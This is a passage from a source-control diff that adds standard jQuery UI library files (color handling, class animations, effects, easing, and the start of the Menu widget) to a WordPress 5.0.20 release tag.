+		if ( values ) {
+			parsed = inst[ spaceName ]( values );
+
+			// if this was an rgba parse the assignment might happen twice
+			// oh well....
+			inst[ spaces[ spaceName ].cache ] = parsed[ spaces[ spaceName ].cache ];
+			rgba = inst._rgba = parsed._rgba;
+
+			// exit each( stringParsers ) here because we matched
+			return false;
+		}
+	});
+
+	// Found a stringParser that handled it
+	if ( rgba.length ) {
+
+		// if this came from a parsed string, force "transparent" when alpha is 0
+		// chrome, (and maybe others) return "transparent" as rgba(0,0,0,0)
+		if ( rgba.join() === "0,0,0,0" ) {
+			jQuery.extend( rgba, colors.transparent );
+		}
+		return inst;
+	}
+
+	// named colors
+	return colors[ string ];
+}
+
+color.fn = jQuery.extend( color.prototype, {
+	parse: function( red, green, blue, alpha ) {
+		if ( red === undefined ) {
+			this._rgba = [ null, null, null, null ];
+			return this;
+		}
+		if ( red.jquery || red.nodeType ) {
+			red = jQuery( red ).css( green );
+			green = undefined;
+		}
+
+		var inst = this,
+			type = jQuery.type( red ),
+			rgba = this._rgba = [];
+
+		// more than 1 argument specified - assume ( red, green, blue, alpha )
+		if ( green !== undefined ) {
+			red = [ red, green, blue, alpha ];
+			type = "array";
+		}
+
+		if ( type === "string" ) {
+			return this.parse( stringParse( red ) || colors._default );
+		}
+
+		if ( type === "array" ) {
+			each( spaces.rgba.props, function( key, prop ) {
+				rgba[ prop.idx ] = clamp( red[ prop.idx ], prop );
+			});
+			return this;
+		}
+
+		if ( type === "object" ) {
+			if ( red instanceof color ) {
+				each( spaces, function( spaceName, space ) {
+					if ( red[ space.cache ] ) {
+						inst[ space.cache ] = red[ space.cache ].slice();
+					}
+				});
+			} else {
+				each( spaces, function( spaceName, space ) {
+					var cache = space.cache;
+					each( space.props, function( key, prop ) {
+
+						// if the cache doesn't exist, and we know how to convert
+						if ( !inst[ cache ] && space.to ) {
+
+							// if the value was null, we don't need to copy it
+							// if the key was alpha, we don't need to copy it either
+							if ( key === "alpha" || red[ key ] == null ) {
+								return;
+							}
+							inst[ cache ] = space.to( inst._rgba );
+						}
+
+						// this is the only case where we allow nulls for ALL properties.
+						// call clamp with alwaysAllowEmpty
+						inst[ cache ][ prop.idx ] = clamp( red[ key ], prop, true );
+					});
+
+					// everything defined but alpha?
+					if ( inst[ cache ] && jQuery.inArray( null, inst[ cache ].slice( 0, 3 ) ) < 0 ) {
+						// use the default of 1
+						inst[ cache ][ 3 ] = 1;
+						if ( space.from ) {
+							inst._rgba = space.from( inst[ cache ] );
+						}
+					}
+				});
+			}
+			return this;
+		}
+	},
+	is: function( compare ) {
+		var is = color( compare ),
+			same = true,
+			inst = this;
+
+		each( spaces, function( _, space ) {
+			var localCache,
+				isCache = is[ space.cache ];
+			if (isCache) {
+				localCache = inst[ space.cache ] || space.to && space.to( inst._rgba ) || [];
+				each( space.props, function( _, prop ) {
+					if ( isCache[ prop.idx ] != null ) {
+						same = ( isCache[ prop.idx ] === localCache[ prop.idx ] );
+						return same;
+					}
+				});
+			}
+			return same;
+		});
+		return same;
+	},
+	_space: function() {
+		var used = [],
+			inst = this;
+		each( spaces, function( spaceName, space ) {
+			if ( inst[ space.cache ] ) {
+				used.push( spaceName );
+			}
+		});
+		return used.pop();
+	},
+	transition: function( other, distance ) {
+		var end = color( other ),
+			spaceName = end._space(),
+			space = spaces[ spaceName ],
+			startColor = this.alpha() === 0 ? color( "transparent" ) : this,
+			start = startColor[ space.cache ] || space.to( startColor._rgba ),
+			result = start.slice();
+
+		end = end[ space.cache ];
+		each( space.props, function( key, prop ) {
+			var index = prop.idx,
+				startValue = start[ index ],
+				endValue = end[ index ],
+				type = propTypes[ prop.type ] || {};
+
+			// if null, don't override start value
+			if ( endValue === null ) {
+				return;
+			}
+			// if null - use end
+			if ( startValue === null ) {
+				result[ index ] = endValue;
+			} else {
+				if ( type.mod ) {
+					if ( endValue - startValue > type.mod / 2 ) {
+						startValue += type.mod;
+					} else if ( startValue - endValue > type.mod / 2 ) {
+						startValue -= type.mod;
+					}
+				}
+				result[ index ] = clamp( ( endValue - startValue ) * distance + startValue, prop );
+			}
+		});
+		return this[ spaceName ]( result );
+	},
+	blend: function( opaque ) {
+		// if we are already opaque - return ourself
+		if ( this._rgba[ 3 ] === 1 ) {
+			return this;
+		}
+
+		var rgb = this._rgba.slice(),
+			a = rgb.pop(),
+			blend = color( opaque )._rgba;
+
+		return color( jQuery.map( rgb, function( v, i ) {
+			return ( 1 - a ) * blend[ i ] + a * v;
+		}));
+	},
+	toRgbaString: function() {
+		var prefix = "rgba(",
+			rgba = jQuery.map( this._rgba, function( v, i ) {
+				return v == null ? ( i > 2 ? 1 : 0 ) : v;
+			});
+
+		if ( rgba[ 3 ] === 1 ) {
+			rgba.pop();
+			prefix = "rgb(";
+		}
+
+		return prefix + rgba.join() + ")";
+	},
+	toHslaString: function() {
+		var prefix = "hsla(",
+			hsla = jQuery.map( this.hsla(), function( v, i ) {
+				if ( v == null ) {
+					v = i > 2 ? 1 : 0;
+				}
+
+				// catch 1 and 2
+				if ( i && i < 3 ) {
+					v = Math.round( v * 100 ) + "%";
+				}
+				return v;
+			});
+
+		if ( hsla[ 3 ] === 1 ) {
+			hsla.pop();
+			prefix = "hsl(";
+		}
+		return prefix + hsla.join() + ")";
+	},
+	toHexString: function( includeAlpha ) {
+		var rgba = this._rgba.slice(),
+			alpha = rgba.pop();
+
+		if ( includeAlpha ) {
+			rgba.push( ~~( alpha * 255 ) );
+		}
+
+		return "#" + jQuery.map( rgba, function( v ) {
+
+			// default to 0 when nulls exist
+			v = ( v || 0 ).toString( 16 );
+			return v.length === 1 ? "0" + v : v;
+		}).join("");
+	},
+	toString: function() {
+		return this._rgba[ 3 ] === 0 ? "transparent" : this.toRgbaString();
+	}
+});
+color.fn.parse.prototype = color.fn;
+
+// hsla conversions adapted from:
+// https://code.google.com/p/maashaack/source/browse/packages/graphics/trunk/src/graphics/colors/HUE2RGB.as?r=5021
+
+function hue2rgb( p, q, h ) {
+	h = ( h + 1 ) % 1;
+	if ( h * 6 < 1 ) {
+		return p + ( q - p ) * h * 6;
+	}
+	if ( h * 2 < 1) {
+		return q;
+	}
+	if ( h * 3 < 2 ) {
+		return p + ( q - p ) * ( ( 2 / 3 ) - h ) * 6;
+	}
+	return p;
+}
+
+spaces.hsla.to = function( rgba ) {
+	if ( rgba[ 0 ] == null || rgba[ 1 ] == null || rgba[ 2 ] == null ) {
+		return [ null, null, null, rgba[ 3 ] ];
+	}
+	var r = rgba[ 0 ] / 255,
+		g = rgba[ 1 ] / 255,
+		b = rgba[ 2 ] / 255,
+		a = rgba[ 3 ],
+		max = Math.max( r, g, b ),
+		min = Math.min( r, g, b ),
+		diff = max - min,
+		add = max + min,
+		l = add * 0.5,
+		h, s;
+
+	if ( min === max ) {
+		h = 0;
+	} else if ( r === max ) {
+		h = ( 60 * ( g - b ) / diff ) + 360;
+	} else if ( g === max ) {
+		h = ( 60 * ( b - r ) / diff ) + 120;
+	} else {
+		h = ( 60 * ( r - g ) / diff ) + 240;
+	}
+
+	// chroma (diff) == 0 means greyscale which, by definition, saturation = 0%
+	// otherwise, saturation is based on the ratio of chroma (diff) to lightness (add)
+	if ( diff === 0 ) {
+		s = 0;
+	} else if ( l <= 0.5 ) {
+		s = diff / add;
+	} else {
+		s = diff / ( 2 - add );
+	}
+	return [ Math.round(h) % 360, s, l, a == null ? 1 : a ];
+};
+
+spaces.hsla.from = function( hsla ) {
+	if ( hsla[ 0 ] == null || hsla[ 1 ] == null || hsla[ 2 ] == null ) {
+		return [ null, null, null, hsla[ 3 ] ];
+	}
+	var h = hsla[ 0 ] / 360,
+		s = hsla[ 1 ],
+		l = hsla[ 2 ],
+		a = hsla[ 3 ],
+		q = l <= 0.5 ? l * ( 1 + s ) : l + s - l * s,
+		p = 2 * l - q;
+
+	return [
+		Math.round( hue2rgb( p, q, h + ( 1 / 3 ) ) * 255 ),
+		Math.round( hue2rgb( p, q, h ) * 255 ),
+		Math.round( hue2rgb( p, q, h - ( 1 / 3 ) ) * 255 ),
+		a
+	];
+};
+
+each( spaces, function( spaceName, space ) {
+	var props = space.props,
+		cache = space.cache,
+		to = space.to,
+		from = space.from;
+
+	// makes rgba() and hsla()
+	color.fn[ spaceName ] = function( value ) {
+
+		// generate a cache for this space if it doesn't exist
+		if ( to && !this[ cache ] ) {
+			this[ cache ] = to( this._rgba );
+		}
+		if ( value === undefined ) {
+			return this[ cache ].slice();
+		}
+
+		var ret,
+			type = jQuery.type( value ),
+			arr = ( type === "array" || type === "object" ) ? value : arguments,
+			local = this[ cache ].slice();
+
+		each( props, function( key, prop ) {
+			var val = arr[ type === "object" ? key : prop.idx ];
+			if ( val == null ) {
+				val = local[ prop.idx ];
+			}
+			local[ prop.idx ] = clamp( val, prop );
+		});
+
+		if ( from ) {
+			ret = color( from( local ) );
+			ret[ cache ] = local;
+			return ret;
+		} else {
+			return color( local );
+		}
+	};
+
+	// makes red() green() blue() alpha() hue() saturation() lightness()
+	each( props, function( key, prop ) {
+		// alpha is included in more than one space
+		if ( color.fn[ key ] ) {
+			return;
+		}
+		color.fn[ key ] = function( value ) {
+			var vtype = jQuery.type( value ),
+				fn = ( key === "alpha" ? ( this._hsla ? "hsla" : "rgba" ) : spaceName ),
+				local = this[ fn ](),
+				cur = local[ prop.idx ],
+				match;
+
+			if ( vtype === "undefined" ) {
+				return cur;
+			}
+
+			if ( vtype === "function" ) {
+				value = value.call( this, cur );
+				vtype = jQuery.type( value );
+			}
+			if ( value == null && prop.empty ) {
+				return this;
+			}
+			if ( vtype === "string" ) {
+				match = rplusequals.exec( value );
+				if ( match ) {
+					value = cur + parseFloat( match[ 2 ] ) * ( match[ 1 ] === "+" ? 1 : -1 );
+				}
+			}
+			local[ prop.idx ] = value;
+			return this[ fn ]( local );
+		};
+	});
+});
+
+// add cssHook and .fx.step function for each named hook.
+// accept a space separated string of properties
+color.hook = function( hook ) {
+	var hooks = hook.split( " " );
+	each( hooks, function( i, hook ) {
+		jQuery.cssHooks[ hook ] = {
+			set: function( elem, value ) {
+				var parsed, curElem,
+					backgroundColor = "";
+
+				if ( value !== "transparent" && ( jQuery.type( value ) !== "string" || ( parsed = stringParse( value ) ) ) ) {
+					value = color( parsed || value );
+					if ( !support.rgba && value._rgba[ 3 ] !== 1 ) {
+						curElem = hook === "backgroundColor" ? elem.parentNode : elem;
+						while (
+							(backgroundColor === "" || backgroundColor === "transparent") &&
+							curElem && curElem.style
+						) {
+							try {
+								backgroundColor = jQuery.css( curElem, "backgroundColor" );
+								curElem = curElem.parentNode;
+							} catch ( e ) {
+							}
+						}
+
+						value = value.blend( backgroundColor && backgroundColor !== "transparent" ?
+							backgroundColor :
+							"_default" );
+					}
+
+					value = value.toRgbaString();
+				}
+				try {
+					elem.style[ hook ] = value;
+				} catch ( e ) {
+					// wrapped to prevent IE from throwing errors on "invalid" values like 'auto' or 'inherit'
+				}
+			}
+		};
+		jQuery.fx.step[ hook ] = function( fx ) {
+			if ( !fx.colorInit ) {
+				fx.start = color( fx.elem, hook );
+				fx.end = color( fx.end );
+				fx.colorInit = true;
+			}
+			jQuery.cssHooks[ hook ].set( fx.elem, fx.start.transition( fx.end, fx.pos ) );
+		};
+	});
+
+};
+
+color.hook( stepHooks );
+
+jQuery.cssHooks.borderColor = {
+	expand: function( value ) {
+		var expanded = {};
+
+		each( [ "Top", "Right", "Bottom", "Left" ], function( i, part ) {
+			expanded[ "border" + part + "Color" ] = value;
+		});
+		return expanded;
+	}
+};
+
+// Basic color names only.
+// Usage of any of the other color names requires adding yourself or including
+// jquery.color.svg-names.js.
+colors = jQuery.Color.names = {
+	// 4.1. Basic color keywords
+	aqua: "#00ffff",
+	black: "#000000",
+	blue: "#0000ff",
+	fuchsia: "#ff00ff",
+	gray: "#808080",
+	green: "#008000",
+	lime: "#00ff00",
+	maroon: "#800000",
+	navy: "#000080",
+	olive: "#808000",
+	purple: "#800080",
+	red: "#ff0000",
+	silver: "#c0c0c0",
+	teal: "#008080",
+	white: "#ffffff",
+	yellow: "#ffff00",
+
+	// 4.2.3. "transparent" color keyword
+	transparent: [ null, null, null, 0 ],
+
+	_default: "#ffffff"
+};
+
+})( jQuery );
+
+/******************************************************************************/
+/****************************** CLASS ANIMATIONS ******************************/
+/******************************************************************************/
+(function() {
+
+var classAnimationActions = [ "add", "remove", "toggle" ],
+	shorthandStyles = {
+		border: 1,
+		borderBottom: 1,
+		borderColor: 1,
+		borderLeft: 1,
+		borderRight: 1,
+		borderTop: 1,
+		borderWidth: 1,
+		margin: 1,
+		padding: 1
+	};
+
+$.each([ "borderLeftStyle", "borderRightStyle", "borderBottomStyle", "borderTopStyle" ], function( _, prop ) {
+	$.fx.step[ prop ] = function( fx ) {
+		if ( fx.end !== "none" && !fx.setAttr || fx.pos === 1 && !fx.setAttr ) {
+			jQuery.style( fx.elem, prop, fx.end );
+			fx.setAttr = true;
+		}
+	};
+});
+
+function getElementStyles( elem ) {
+	var key, len,
+		style = elem.ownerDocument.defaultView ?
+			elem.ownerDocument.defaultView.getComputedStyle( elem, null ) :
+			elem.currentStyle,
+		styles = {};
+
+	if ( style && style.length && style[ 0 ] && style[ style[ 0 ] ] ) {
+		len = style.length;
+		while ( len-- ) {
+			key = style[ len ];
+			if ( typeof style[ key ] === "string" ) {
+				styles[ $.camelCase( key ) ] = style[ key ];
+			}
+		}
+	// support: Opera, IE <9
+	} else {
+		for ( key in style ) {
+			if ( typeof style[ key ] === "string" ) {
+				styles[ key ] = style[ key ];
+			}
+		}
+	}
+
+	return styles;
+}
+
+function styleDifference( oldStyle, newStyle ) {
+	var diff = {},
+		name, value;
+
+	for ( name in newStyle ) {
+		value = newStyle[ name ];
+		if ( oldStyle[ name ] !== value ) {
+			if ( !shorthandStyles[ name ] ) {
+				if ( $.fx.step[ name ] || !isNaN( parseFloat( value ) ) ) {
+					diff[ name ] = value;
+				}
+			}
+		}
+	}
+
+	return diff;
+}
+
+// support: jQuery <1.8
+if ( !$.fn.addBack ) {
+	$.fn.addBack = function( selector ) {
+		return this.add( selector == null ?
+			this.prevObject : this.prevObject.filter( selector )
+		);
+	};
+}
+
+$.effects.animateClass = function( value, duration, easing, callback ) {
+	var o = $.speed( duration, easing, callback );
+
+	return this.queue( function() {
+		var animated = $( this ),
+			baseClass = animated.attr( "class" ) || "",
+			applyClassChange,
+			allAnimations = o.children ? animated.find( "*" ).addBack() : animated;
+
+		// map the animated objects to store the original styles.
+		allAnimations = allAnimations.map(function() {
+			var el = $( this );
+			return {
+				el: el,
+				start: getElementStyles( this )
+			};
+		});
+
+		// apply class change
+		applyClassChange = function() {
+			$.each( classAnimationActions, function(i, action) {
+				if ( value[ action ] ) {
+					animated[ action + "Class" ]( value[ action ] );
+				}
+			});
+		};
+		applyClassChange();
+
+		// map all animated objects again - calculate new styles and diff
+		allAnimations = allAnimations.map(function() {
+			this.end = getElementStyles( this.el[ 0 ] );
+			this.diff = styleDifference( this.start, this.end );
+			return this;
+		});
+
+		// apply original class
+		animated.attr( "class", baseClass );
+
+		// map all animated objects again - this time collecting a promise
+		allAnimations = allAnimations.map(function() {
+			var styleInfo = this,
+				dfd = $.Deferred(),
+				opts = $.extend({}, o, {
+					queue: false,
+					complete: function() {
+						dfd.resolve( styleInfo );
+					}
+				});
+
+			this.el.animate( this.diff, opts );
+			return dfd.promise();
+		});
+
+		// once all animations have completed:
+		$.when.apply( $, allAnimations.get() ).done(function() {
+
+			// set the final class
+			applyClassChange();
+
+			// for each animated element,
+			// clear all css properties that were animated
+			$.each( arguments, function() {
+				var el = this.el;
+				$.each( this.diff, function(key) {
+					el.css( key, "" );
+				});
+			});
+
+			// this is guarnteed to be there if you use jQuery.speed()
+			// it also handles dequeuing the next anim...
+			o.complete.call( animated[ 0 ] );
+		});
+	});
+};
+
+$.fn.extend({
+	addClass: (function( orig ) {
+		return function( classNames, speed, easing, callback ) {
+			return speed ?
+				$.effects.animateClass.call( this,
+					{ add: classNames }, speed, easing, callback ) :
+				orig.apply( this, arguments );
+		};
+	})( $.fn.addClass ),
+
+	removeClass: (function( orig ) {
+		return function( classNames, speed, easing, callback ) {
+			return arguments.length > 1 ?
+				$.effects.animateClass.call( this,
+					{ remove: classNames }, speed, easing, callback ) :
+				orig.apply( this, arguments );
+		};
+	})( $.fn.removeClass ),
+
+	toggleClass: (function( orig ) {
+		return function( classNames, force, speed, easing, callback ) {
+			if ( typeof force === "boolean" || force === undefined ) {
+				if ( !speed ) {
+					// without speed parameter
+					return orig.apply( this, arguments );
+				} else {
+					return $.effects.animateClass.call( this,
+						(force ? { add: classNames } : { remove: classNames }),
+						speed, easing, callback );
+				}
+			} else {
+				// without force parameter
+				return $.effects.animateClass.call( this,
+					{ toggle: classNames }, force, speed, easing );
+			}
+		};
+	})( $.fn.toggleClass ),
+
+	switchClass: function( remove, add, speed, easing, callback) {
+		return $.effects.animateClass.call( this, {
+			add: add,
+			remove: remove
+		}, speed, easing, callback );
+	}
+});
+
+})();
+
+/******************************************************************************/
+/*********************************** EFFECTS **********************************/
+/******************************************************************************/
+
+(function() {
+
+$.extend( $.effects, {
+	version: "1.11.4",
+
+	// Saves a set of properties in a data storage
+	save: function( element, set ) {
+		for ( var i = 0; i < set.length; i++ ) {
+			if ( set[ i ] !== null ) {
+				element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] );
+			}
+		}
+	},
+
+	// Restores a set of previously saved properties from a data storage
+	restore: function( element, set ) {
+		var val, i;
+		for ( i = 0; i < set.length; i++ ) {
+			if ( set[ i ] !== null ) {
+				val = element.data( dataSpace + set[ i ] );
+				// support: jQuery 1.6.2
+				// http://bugs.jquery.com/ticket/9917
+				// jQuery 1.6.2 incorrectly returns undefined for any falsy value.
+				// We can't differentiate between "" and 0 here, so we just assume
+				// empty string since it's likely to be a more common value...
+				if ( val === undefined ) {
+					val = "";
+				}
+				element.css( set[ i ], val );
+			}
+		}
+	},
+
+	setMode: function( el, mode ) {
+		if (mode === "toggle") {
+			mode = el.is( ":hidden" ) ? "show" : "hide";
+		}
+		return mode;
+	},
+
+	// Translates a [top,left] array into a baseline value
+	// this should be a little more flexible in the future to handle a string & hash
+	getBaseline: function( origin, original ) {
+		var y, x;
+		switch ( origin[ 0 ] ) {
+			case "top": y = 0; break;
+			case "middle": y = 0.5; break;
+			case "bottom": y = 1; break;
+			default: y = origin[ 0 ] / original.height;
+		}
+		switch ( origin[ 1 ] ) {
+			case "left": x = 0; break;
+			case "center": x = 0.5; break;
+			case "right": x = 1; break;
+			default: x = origin[ 1 ] / original.width;
+		}
+		return {
+			x: x,
+			y: y
+		};
+	},
+
+	// Wraps the element around a wrapper that copies position properties
+	createWrapper: function( element ) {
+
+		// if the element is already wrapped, return it
+		if ( element.parent().is( ".ui-effects-wrapper" )) {
+			return element.parent();
+		}
+
+		// wrap the element
+		var props = {
+				width: element.outerWidth(true),
+				height: element.outerHeight(true),
+				"float": element.css( "float" )
+			},
+			wrapper = $( "<div></div>" )
+				.addClass( "ui-effects-wrapper" )
+				.css({
+					fontSize: "100%",
+					background: "transparent",
+					border: "none",
+					margin: 0,
+					padding: 0
+				}),
+			// Store the size in case width/height are defined in % - Fixes #5245
+			size = {
+				width: element.width(),
+				height: element.height()
+			},
+			active = document.activeElement;
+
+		// support: Firefox
+		// Firefox incorrectly exposes anonymous content
+		// https://bugzilla.mozilla.org/show_bug.cgi?id=561664
+		try {
+			active.id;
+		} catch ( e ) {
+			active = document.body;
+		}
+
+		element.wrap( wrapper );
+
+		// Fixes #7595 - Elements lose focus when wrapped.
+		if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
+			$( active ).focus();
+		}
+
+		wrapper = element.parent(); //Hotfix for jQuery 1.4 since some change in wrap() seems to actually lose the reference to the wrapped element
+
+		// transfer positioning properties to the wrapper
+		if ( element.css( "position" ) === "static" ) {
+			wrapper.css({ position: "relative" });
+			element.css({ position: "relative" });
+		} else {
+			$.extend( props, {
+				position: element.css( "position" ),
+				zIndex: element.css( "z-index" )
+			});
+			$.each([ "top", "left", "bottom", "right" ], function(i, pos) {
+				props[ pos ] = element.css( pos );
+				if ( isNaN( parseInt( props[ pos ], 10 ) ) ) {
+					props[ pos ] = "auto";
+				}
+			});
+			element.css({
+				position: "relative",
+				top: 0,
+				left: 0,
+				right: "auto",
+				bottom: "auto"
+			});
+		}
+		element.css(size);
+
+		return wrapper.css( props ).show();
+	},
+
+	removeWrapper: function( element ) {
+		var active = document.activeElement;
+
+		if ( element.parent().is( ".ui-effects-wrapper" ) ) {
+			element.parent().replaceWith( element );
+
+			// Fixes #7595 - Elements lose focus when wrapped.
+			if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
+				$( active ).focus();
+			}
+		}
+
+		return element;
+	},
+
+	setTransition: function( element, list, factor, value ) {
+		value = value || {};
+		$.each( list, function( i, x ) {
+			var unit = element.cssUnit( x );
+			if ( unit[ 0 ] > 0 ) {
+				value[ x ] = unit[ 0 ] * factor + unit[ 1 ];
+			}
+		});
+		return value;
+	}
+});
+
+// return an effect options object for the given parameters:
+function _normalizeArguments( effect, options, speed, callback ) {
+
+	// allow passing all options as the first parameter
+	if ( $.isPlainObject( effect ) ) {
+		options = effect;
+		effect = effect.effect;
+	}
+
+	// convert to an object
+	effect = { effect: effect };
+
+	// catch (effect, null, ...)
+	if ( options == null ) {
+		options = {};
+	}
+
+	// catch (effect, callback)
+	if ( $.isFunction( options ) ) {
+		callback = options;
+		speed = null;
+		options = {};
+	}
+
+	// catch (effect, speed, ?)
+	if ( typeof options === "number" || $.fx.speeds[ options ] ) {
+		callback = speed;
+		speed = options;
+		options = {};
+	}
+
+	// catch (effect, options, callback)
+	if ( $.isFunction( speed ) ) {
+		callback = speed;
+		speed = null;
+	}
+
+	// add options to effect
+	if ( options ) {
+		$.extend( effect, options );
+	}
+
+	speed = speed || options.duration;
+	effect.duration = $.fx.off ? 0 :
+		typeof speed === "number" ? speed :
+		speed in $.fx.speeds ? $.fx.speeds[ speed ] :
+		$.fx.speeds._default;
+
+	effect.complete = callback || options.complete;
+
+	return effect;
+}
+
+function standardAnimationOption( option ) {
+	// Valid standard speeds (nothing, number, named speed)
+	if ( !option || typeof option === "number" || $.fx.speeds[ option ] ) {
+		return true;
+	}
+
+	// Invalid strings - treat as "normal" speed
+	if ( typeof option === "string" && !$.effects.effect[ option ] ) {
+		return true;
+	}
+
+	// Complete callback
+	if ( $.isFunction( option ) ) {
+		return true;
+	}
+
+	// Options hash (but not naming an effect)
+	if ( typeof option === "object" && !option.effect ) {
+		return true;
+	}
+
+	// Didn't match any standard API
+	return false;
+}
+
+$.fn.extend({
+	effect: function( /* effect, options, speed, callback */ ) {
+		var args = _normalizeArguments.apply( this, arguments ),
+			mode = args.mode,
+			queue = args.queue,
+			effectMethod = $.effects.effect[ args.effect ];
+
+		if ( $.fx.off || !effectMethod ) {
+			// delegate to the original method (e.g., .show()) if possible
+			if ( mode ) {
+				return this[ mode ]( args.duration, args.complete );
+			} else {
+				return this.each( function() {
+					if ( args.complete ) {
+						args.complete.call( this );
+					}
+				});
+			}
+		}
+
+		function run( next ) {
+			var elem = $( this ),
+				complete = args.complete,
+				mode = args.mode;
+
+			function done() {
+				if ( $.isFunction( complete ) ) {
+					complete.call( elem[0] );
+				}
+				if ( $.isFunction( next ) ) {
+					next();
+				}
+			}
+
+			// If the element already has the correct final state, delegate to
+			// the core methods so the internal tracking of "olddisplay" works.
+			if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) {
+				elem[ mode ]();
+				done();
+			} else {
+				effectMethod.call( elem[0], args, done );
+			}
+		}
+
+		return queue === false ? this.each( run ) : this.queue( queue || "fx", run );
+	},
+
+	show: (function( orig ) {
+		return function( option ) {
+			if ( standardAnimationOption( option ) ) {
+				return orig.apply( this, arguments );
+			} else {
+				var args = _normalizeArguments.apply( this, arguments );
+				args.mode = "show";
+				return this.effect.call( this, args );
+			}
+		};
+	})( $.fn.show ),
+
+	hide: (function( orig ) {
+		return function( option ) {
+			if ( standardAnimationOption( option ) ) {
+				return orig.apply( this, arguments );
+			} else {
+				var args = _normalizeArguments.apply( this, arguments );
+				args.mode = "hide";
+				return this.effect.call( this, args );
+			}
+		};
+	})( $.fn.hide ),
+
+	toggle: (function( orig ) {
+		return function( option ) {
+			if ( standardAnimationOption( option ) || typeof option === "boolean" ) {
+				return orig.apply( this, arguments );
+			} else {
+				var args = _normalizeArguments.apply( this, arguments );
+				args.mode = "toggle";
+				return this.effect.call( this, args );
+			}
+		};
+	})( $.fn.toggle ),
+
+	// helper functions
+	cssUnit: function(key) {
+		var style = this.css( key ),
+			val = [];
+
+		$.each( [ "em", "px", "%", "pt" ], function( i, unit ) {
+			if ( style.indexOf( unit ) > 0 ) {
+				val = [ parseFloat( style ), unit ];
+			}
+		});
+		return val;
+	}
+});
+
+})();
+
+/******************************************************************************/
+/*********************************** EASING ***********************************/
+/******************************************************************************/
+
+(function() {
+
+// based on easing equations from Robert Penner (http://www.robertpenner.com/easing)
+
+var baseEasings = {};
+
+$.each( [ "Quad", "Cubic", "Quart", "Quint", "Expo" ], function( i, name ) {
+	baseEasings[ name ] = function( p ) {
+		return Math.pow( p, i + 2 );
+	};
+});
+
+$.extend( baseEasings, {
+	Sine: function( p ) {
+		return 1 - Math.cos( p * Math.PI / 2 );
+	},
+	Circ: function( p ) {
+		return 1 - Math.sqrt( 1 - p * p );
+	},
+	Elastic: function( p ) {
+		return p === 0 || p === 1 ? p :
+			-Math.pow( 2, 8 * (p - 1) ) * Math.sin( ( (p - 1) * 80 - 7.5 ) * Math.PI / 15 );
+	},
+	Back: function( p ) {
+		return p * p * ( 3 * p - 2 );
+	},
+	Bounce: function( p ) {
+		var pow2,
+			bounce = 4;
+
+		while ( p < ( ( pow2 = Math.pow( 2, --bounce ) ) - 1 ) / 11 ) {}
+		return 1 / Math.pow( 4, 3 - bounce ) - 7.5625 * Math.pow( ( pow2 * 3 - 2 ) / 22 - p, 2 );
+	}
+});
+
+$.each( baseEasings, function( name, easeIn ) {
+	$.easing[ "easeIn" + name ] = easeIn;
+	$.easing[ "easeOut" + name ] = function( p ) {
+		return 1 - easeIn( 1 - p );
+	};
+	$.easing[ "easeInOut" + name ] = function( p ) {
+		return p < 0.5 ?
+			easeIn( p * 2 ) / 2 :
+			1 - easeIn( p * -2 + 2 ) / 2;
+	};
+});
+
+})();
+
+return $.effects;
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/menu.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/menu.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/menu.js	(revision 56912)
@@ -0,0 +1,646 @@
+/*!
+ * jQuery UI Menu 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/menu/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./position"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.menu", {
+	version: "1.11.4",
+	defaultElement: "<ul>",
+	delay: 300,
+	options: {
+		icons: {
+			submenu: "ui-icon-carat-1-e"
+		},
+		items: "> *",
+		menus: "ul",
+		position: {
+			my: "left-1 top",
+			at: "right top"
+		},
+		role: "menu",
+
+		// callbacks
+		blur: null,
+		focus: null,
+		select: null
+	},
+
+	_create: function() {
+		this.activeMenu = this.element;
+
+		// Flag used to prevent firing of the click handler
+		// as the event bubbles up through nested menus
+		this.mouseHandled = false;
+		this.element
+			.uniqueId()
+			.addClass( "ui-menu ui-widget ui-widget-content" )
+			.toggleClass( "ui-menu-icons", !!this.element.find( ".ui-icon" ).length )
+			.attr({
+				role: this.options.role,
+				tabIndex: 0
+			});
+
+		if ( this.options.disabled ) {
+			this.element
+				.addClass( "ui-state-disabled" )
+				.attr( "aria-disabled", "true" );
+		}
+
+		this._on({
+			// Prevent focus from sticking to links inside menu after clicking
+			// them (focus should always stay on UL during navigation).
+			"mousedown .ui-menu-item": function( event ) {
+				event.preventDefault();
+			},
+			"click .ui-menu-item": function( event ) {
+				var target = $( event.target );
+				if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) {
+					this.select( event );
+
+					// Only set the mouseHandled flag if the event will bubble, see #9469.
+					if ( !event.isPropagationStopped() ) {
+						this.mouseHandled = true;
+					}
+
+					// Open submenu on click
+					if ( target.has( ".ui-menu" ).length ) {
+						this.expand( event );
+					} else if ( !this.element.is( ":focus" ) && $( this.document[ 0 ].activeElement ).closest( ".ui-menu" ).length ) {
+
+						// Redirect focus to the menu
+						this.element.trigger( "focus", [ true ] );
+
+						// If the active item is on the top level, let it stay active.
+						// Otherwise, blur the active item since it is no longer visible.
+						if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) {
+							clearTimeout( this.timer );
+						}
+					}
+				}
+			},
+			"mouseenter .ui-menu-item": function( event ) {
+				// Ignore mouse events while typeahead is active, see #10458.
+				// Prevents focusing the wrong item when typeahead causes a scroll while the mouse
+				// is over an item in the menu
+				if ( this.previousFilter ) {
+					return;
+				}
+				var target = $( event.currentTarget );
+				// Remove ui-state-active class from siblings of the newly focused menu item
+				// to avoid a jump caused by adjacent elements both having a class with a border
+				target.siblings( ".ui-state-active" ).removeClass( "ui-state-active" );
+				this.focus( event, target );
+			},
+			mouseleave: "collapseAll",
+			"mouseleave .ui-menu": "collapseAll",
+			focus: function( event, keepActiveItem ) {
+				// If there's already an active item, keep it active
